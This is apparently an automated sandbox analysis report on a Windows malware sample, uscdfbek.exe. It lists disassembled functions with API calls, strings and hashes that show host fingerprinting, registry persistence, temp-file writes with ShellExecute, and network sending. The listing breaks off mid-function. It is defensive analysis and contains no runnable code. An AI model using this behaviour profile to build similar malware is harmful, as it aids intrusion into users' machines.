Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: C:\Windows\SysWOW64\chxnvqnu\uscdfbek.exe
API String ID: 124786226-2411205763
Opcode ID: 3deeb1ea8207cc87c011d2a4d6b1370e46491988774d06f984d994a05b286973
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: 3deeb1ea8207cc87c011d2a4d6b1370e46491988774d06f984d994a05b286973
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Function 026171C6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 026171E1
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 02617228
LocalFree.KERNEL32(?,?,?), ref: 02617286
wsprintfA.USER32 ref: 0261729D

Strings

|, xrefs: 0261721A

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Name$AccountFreeLocalLookupUserwsprintf
String ID: |
API String ID: 2539190677-2343686810
Opcode ID: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction ID: fad81b6df7a659c36631617c3ba25fa3611afa948bde9daf47b11c6f7152742c
Opcode Fuzzy Hash: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction Fuzzy Hash: 4C311A72900208BBDB01DFA8DC45BDA7BACEF04314F18C066F959DB200EB75E6498B94

Function 0040AD08 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55stringnetworkCOMMON

Download Yara Rule

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

Function 0040E3CA Relevance: 7.6, APIs: 5, Instructions: 136registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,004122F8), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID:
API String ID: 1586453840-0
Opcode ID: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Function 0261B478 Relevance: 7.6, APIs: 5, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0261B51A
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0261B529
SystemTimeToFileTime.KERNEL32(?,?), ref: 0261B548
GetTimeZoneInformation.KERNEL32(?), ref: 0261B590
wsprintfA.USER32 ref: 0261B61E

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Time$File$Local$InformationSystemZonewsprintf
String ID:
API String ID: 4026320513-0
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 15d6b95d7fd125e3af2a84259e5af47986dd72d790a7e8b23b44dbe49d57ca9d
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: 9A5120B1D0021CAACF18DFD5D8885EEBBB9BF48304F14816AF505B6150E7B85AC9CF98

Function 00404280 Relevance: 7.6, APIs: 5, Instructions: 124COMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000001,00000000,00000000,?,004098FD,00000001,00000100,004122F8,0040A3C7), ref: 00404290
CloseHandle.KERNEL32(0040A3C7), ref: 004043AB
CloseHandle.KERNEL32(00000001), ref: 004043AE

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateEvent
String ID:
API String ID: 1371578007-0
Opcode ID: 0dd57ba844ed6ccee3cc7ff792ca289a65d044fd43fa66271c948426b094db86
Instruction ID: 580dd723e2696739ab8c529274da47b2bc3b4765397f1bbb4cd5042057411b76
Opcode Fuzzy Hash: 0dd57ba844ed6ccee3cc7ff792ca289a65d044fd43fa66271c948426b094db86
Instruction Fuzzy Hash: F94181B1900209BADB109BA2CD45F9FBFBCEF40355F104566F614B21C1D7789A51DBA4

Function 026162D0 Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014), ref: 02616303
LoadLibraryA.KERNEL32(?), ref: 0261632A
GetProcAddress.KERNEL32(00000000,?), ref: 026163B1
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 02616405

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction ID: a3435f7e49f3e0b063e0a6b58528d568fccb2ede967e67d119da2454c1dc8c3f
Opcode Fuzzy Hash: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction Fuzzy Hash: 8C413A79A00219EFDB14CF58C884BA9B7B8FF04358F188169E965D7390E771F951CB90

Function 00406069 Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000014), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Function 00402923 Relevance: 7.6, APIs: 5, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Function 0040E654 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(75920F18,00000000,?,75920F10,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,75920F10,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,75920F10,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E6F9, 0040E6FE, 0040E739
A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Function 004026FF Relevance: 7.6, APIs: 5, Instructions: 96networkCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: HeapAlloc.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: htons$Heap$AllocCountProcessTicksendto
String ID:
API String ID: 1802437671-0
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Function 0040F26D Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Function 026193AC Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104), ref: 026193C6
GetModuleFileNameA.KERNEL32(00000000), ref: 026193CD
CharToOemA.USER32(?,?), ref: 026193DB
wsprintfA.USER32 ref: 02619410

Part of subcall function 026192CB: GetTempPathA.KERNEL32(00000400,?), ref: 026192E2
Part of subcall function 026192CB: wsprintfA.USER32 ref: 02619350
Part of subcall function 026192CB: CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 02619375
Part of subcall function 026192CB: lstrlen.KERNEL32(?,?,00000000), ref: 02619389
Part of subcall function 026192CB: WriteFile.KERNEL32(00000000,?,00000000), ref: 02619394
Part of subcall function 026192CB: CloseHandle.KERNEL32(00000000), ref: 0261939B

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 02619448

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID:
API String ID: 3857584221-0
Opcode ID: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction ID: 5069e02735c60c11ddbbc03bc3b0cf85e4853bdc38b1f235a7b1715badb1d0c6
Opcode Fuzzy Hash: ff085cb3efc643ea3343cce32a213b77a8dc5f084f98a1949d4da58a8db7cba0
Instruction Fuzzy Hash: CD019EF69001187BDB20A7619D89EDF3B7CDB95701F0000A6BB09E2080EAB4A6C48F75

Function 00409145 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,?,00000104,00000100,004122F8), ref: 0040915F
GetModuleFileNameA.KERNEL32(00000000), ref: 00409166
CharToOemA.USER32(?,?), ref: 00409174
wsprintfA.USER32 ref: 004091A9

Part of subcall function 00409064: GetTempPathA.KERNEL32(00000400,?,00000000,004122F8), ref: 0040907B
Part of subcall function 00409064: wsprintfA.USER32 ref: 004090E9
Part of subcall function 00409064: CreateFileA.KERNEL32(004122F8,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
Part of subcall function 00409064: lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
Part of subcall function 00409064: WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
Part of subcall function 00409064: CloseHandle.KERNEL32(00000000), ref: 00409134

ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID:
API String ID: 3857584221-0
Opcode ID: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Function 00402419 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Function 00401AC3 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

Strings

Iphlpapi.dll, xrefs: 00401ACC
GetAdaptersAddresses, xrefs: 00401AE3

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc
String ID: GetAdaptersAddresses$Iphlpapi.dll
API String ID: 2574300362-1087626847
Opcode ID: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction ID: f6c238f91e07a5798e813b0b618c72a9a5addbcd8e0b61e0281ff71d4ef1483f
Opcode Fuzzy Hash: 4ad453f95e319ae71f8ebabcc46d8d27ffdc7fe226df516f9f2c7e6519cf6946
Instruction Fuzzy Hash: 3D11DA71E01124BFCB11DBA5DD858EEBBB9EB44B10B144077E005F72A1E7786E80CB98

Function 00401BDF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 00401AC3: LoadLibraryA.KERNEL32(Iphlpapi.dll,00000000,localcfg,?,hi_id,?,?,?,?,00000001), ref: 00401AD4
Part of subcall function 00401AC3: GetProcAddress.KERNEL32(00000000,GetAdaptersAddresses), ref: 00401AE9

GetComputerNameA.KERNEL32(?,0000000F), ref: 00401C15
GetVolumeInformationA.KERNEL32(00000000,00000000,00000004,00000001,00000000,00000000,00000000,00000000,?,?,?,?,00000001), ref: 00401C51

Strings

localcfg, xrefs: 00401BE7
hi_id, xrefs: 00401BE5

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: AddressComputerInformationLibraryLoadNameProcVolume
String ID: hi_id$localcfg
API String ID: 2777991786-2393279970
Opcode ID: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction ID: b3a67a5cb4ed68e183e77afdc8505cc80d304e276af6d439446d09174096bcc5
Opcode Fuzzy Hash: 8706900559274ba91d770fb8bb1d60ecae66f9331a84d665d36368a2f022e804
Instruction Fuzzy Hash: B2018072A44118BBEB10EAE8C8C59EFBABCAB48745F104476E602F3290D274DE4486A5

Function 00406EDD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000), ref: 00406F0F
CheckTokenMembership.ADVAPI32(00000000,?,*p@), ref: 00406F24
FreeSid.ADVAPI32(?), ref: 00406F3E

Strings

*p@, xrefs: 00406F1C, 00406F1F

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID: *p@
API String ID: 3429775523-2474123842
Opcode ID: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction ID: a55d58a6849641b9de595c9770ce5785232f8714219103e6702645194e06a02f
Opcode Fuzzy Hash: e5b07a668181befdfd7487022a30a26c3f8e9f7140bfa863a498fdcbf626812e
Instruction Fuzzy Hash: 6701E571904209AFDB10DFE4ED85AAE7BB8F708304F50847AE606E2191D7745A54CB18

Function 026128EB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(u6A), ref: 026128FA
gethostbyname.WS2_32(u6A), ref: 02612906

Strings

time_cfg, xrefs: 026128EB
u6A, xrefs: 026128EC, 026128F9, 02612905

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: gethostbynameinet_addr
String ID: time_cfg$u6A
API String ID: 1594361348-1940331995
Opcode ID: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction ID: d43b75939b41592048fe0ca6c52da4e7ff184b729316fa9b1a1b1f3021383110
Opcode Fuzzy Hash: f9db606e706a3ea9b2ac4bed422f000f2ba59a3d29e70a13aafe2ea60d03e68c
Instruction Fuzzy Hash: BFE012306045219FDB509B2CF848ADA77E5EF4A230F098595F854D72A0C774ECC19754

Function 026169C3 Relevance: 6.2, APIs: 4, Instructions: 199COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 026169E5
SetFileAttributesA.KERNEL32(?,00000002), ref: 02616A26
GetFileSize.KERNEL32(000000FF,00000000), ref: 02616A3A
CloseHandle.KERNEL32(000000FF), ref: 02616BD8

Part of subcall function 0261EE95: GetProcessHeap.KERNEL32(00000000,?,00000000,02611DCF,?), ref: 0261EEA8
Part of subcall function 0261EE95: HeapFree.KERNEL32(00000000), ref: 0261EEAF

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: File$AttributesHeap$CloseFreeHandleProcessSize
String ID:
API String ID: 3384756699-0
Opcode ID: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction ID: 357780723b22bccbcad5ae1c38e4803498ef83cebc5d47abffc2aa03fc5ab711
Opcode Fuzzy Hash: 7cb1483d7ca4a0334585b6ef60a3fe03637638a32adcd708d2059a772ed48796
Instruction Fuzzy Hash: 2D71187590021DEFDF10DFA4CC80AEEBBB9FB04358F14856AE515A6290D730AE92DB60

Function 00401C5F Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00401CE1
wsprintfA.USER32 ref: 00401D6B

Strings

localcfg, xrefs: 00401C70
%u.%u.%u.%u.%s, xrefs: 00401CDB, 00401D65

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %u.%u.%u.%u.%s$localcfg
API String ID: 2111968516-120809033
Opcode ID: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction ID: f60862e96afe744063ef1f8e151e0253a3d6131670b42bf9f562b78b9aabf051
Opcode Fuzzy Hash: 013209f5f393509082169113c365cfa774f3339610439ce827356f9210efd2df
Instruction Fuzzy Hash: 3C41C1729042999FDB21DF798D44BEE7BE89F49310F240066FD64E3192D639EA04CBA4

Function 0261E2FC Relevance: 6.1, APIs: 4, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,0261E50A,00000000,00000000,00000000,00020106,00000000,0261E50A,00000000,000000E4), ref: 0261E319
RegSetValueExA.ADVAPI32(0261E50A,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,004122F8), ref: 0261E38E
RegDeleteValueA.ADVAPI32(0261E50A,?,?,?,?,?,000000C8,004122F8), ref: 0261E3BF
RegCloseKey.ADVAPI32(0261E50A,?,?,?,?,000000C8,004122F8,?,?,?,?,?,?,?,?,0261E50A), ref: 0261E3C8

Memory Dump Source

Source File: 0000000C.00000002.2078905030.0000000002610000.00000040.00001000.00020000.00000000.sdmp, Offset: 02610000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2610000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID:
API String ID: 2667537340-0
Opcode ID: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction ID: e325552437fefec6247cb9df89fe0360f1a95a2c3d9e82bedb1b5976a74bf9aa
Opcode Fuzzy Hash: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction Fuzzy Hash: F3214C71A0021DABDF209FA4EC89EDE7F79EF08750F088025F905E6160E372DA54DBA0

Function 0040E095 Relevance: 6.1, APIs: 4, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,004122F8), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,004122F8), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,004122F8,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Memory Dump Source

Source File: 0000000C.00000002.2077700535.0000000000400000.00000040.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_400000_uscdfbek.jbxd

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID:
API String ID: 2667537340-0
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Function 0261417F Relevance: 6.0, APIs: 4, Instructions: 46filesynchronizationCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 026141AB
GetLastError.KERNEL32 ref: 026141B5
